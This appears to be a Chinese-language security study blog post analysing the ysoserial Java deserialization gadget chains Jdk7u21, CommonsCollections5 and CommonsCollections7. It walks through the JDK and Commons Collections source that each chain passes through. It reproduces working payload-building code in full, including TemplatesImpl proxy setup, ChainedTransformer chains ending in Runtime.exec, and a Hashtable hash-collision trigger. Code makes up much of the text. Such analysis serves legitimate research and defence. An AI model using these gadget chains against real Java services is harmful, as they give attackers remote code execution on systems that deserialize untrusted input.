持续更新中……

Jdk7u21

环境:jdk7u21

从yso给的链分析,关键代码:

其中涉及的GadgetsReflections 两个类都是yso里面给的,到时候再分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class Yso {

public static void main(String[] args) throws Exception{
String command = "calc";
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null); // 为了实现调用链

map.put(zeroHashCodeStr, templates); // swap in real object

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(set);

ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}

利用javassist 生成payload,而templates为TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
final Object templates = Gadgets.createTemplatesImpl(command);

public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

这里利用到了一个新的类LinkedHashSet ,不过只是HashSet的子类,用于调用HashSet#readObject

利用反射获取构造方法实例化AnnotationInvocationHandler ,并给属性type赋值

利用动态代理的方法实现Templates 接口,

1
2
3
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

HashMap修改值,是为了防止在序列化的时候触发,因为序列化的时候会调用到HashSet#add 从而调用到Hash#put ,其中会调用到Templates#equals因为使用了动态代理所以会调用到AnnotationInvocationHandler#invoke 从而调用到equalsImpl

Untitled

而在equalsImpl 中会遍历类里面的所有方法然后直接调用

调用到TemplatesImpl#getOutputProperties 从而实现了RCE,而这个也是反序列化之后实现RCE的主要调用链

Untitled

1
2
3
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
map.put(zeroHashCodeStr, templates);

而反序列化之后利用链的起点在于

Untitled

CC5

环境

1
JDK 8u76

This only works in JDK 8u76 and WITHOUT a security manager

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}

}

分析

相较于CC6,CC5利用到了BadAttributeValueExpException 异常类,去看一下这个类只有一个构造方法和一个toString | readObject

而exp中将给该类的val赋值为放入了修饰好的恶意类的TiedMapEntry

1
2
3
4
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

那么关键就是反序列化的时候会怎么调用,因为exp是对val 进行序列化,说明会调用到BadAttributeValueExpExceptionreadObject

代码执行的时候会实现获取BadAttributeValueExpException 的所有属性,而valObj则获取了val的值,也就是TiedMapEntry ,导致在后面调用到了valObj.toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

TiedMapEntry#toString 会调用到getValue,其中实现对LazyMap#get的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String toString() {
return this.getKey() + "=" + this.getValue();
}

public Object getValue() {
return this.map.get(this.key);
}
LazyMap#get` ,这里的`this.factory` 其实就是`ChainedTransformer
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

ChainedTransformer#transform 实现payload中InvokerTransformer#transform 的调用,从而实现RCE

1
2
3
4
5
6
7
8
9
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

CC7

环境

jdk8u71

Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {

public Hashtable getObject(final String command) throws Exception {

// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
}

分析

CC7的链子特点在于定义了两个LazyMap ,并放到Hashtable 中去,而Hashtable 顾名思义也就是哈希表,

这个链子显而易见也是像通过调用到LazyMap#get 或者LazyMap#getValue 来实现RCE,那么重点就是从哪里开始调用了,这里套在最外面的类为Hashtable ,那就直接去看Hashtable#readObject

会遍历Hashtable 里面的键值对

Untitled

跟进到reconstitutionPut ,这里会将遍历到的键值对都放到tab里面,并且要保证放入的数据hashCode不能相等即不能产生哈希碰撞,而如果hashCode相等就会调用到LazyMap#equals

Untitled

跟进到LazyMap#equals ,但LazyMap并没有重写这个方法,那就是他父类AbstractMapDecorator#equals

这里再次调用到了某类的equals,而链子里在实现LazyMap的时候会先写一个innerMap(HashMap),而LazyMap#decorate 方法也就相当于构造方法,将innerMap给了父类,所有这里的this.map 也就是HashMap

1
2
3
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}

但是HashMap也没有重写这个方法,照例去其父类找AbstractMap#equals

成功调用到了LazyMap#get ,后面的就不继续分析了

Untitled

所有理所当然的,要实现这个链子,就需要强制调用到AbstractMapDecorator#equals ,也就是说传入HashTable必须要产生哈希碰撞,而这个点在之前蓝帽杯的时候也碰到了,这里就不明确说了

Reference

https://www.yuque.com/jinjinshigekeaigui/qskpi5/at52wg

https://stackoverflow.com/questions/12925988/how-to-generate-strings-that-share-the-same-hashcode-in-java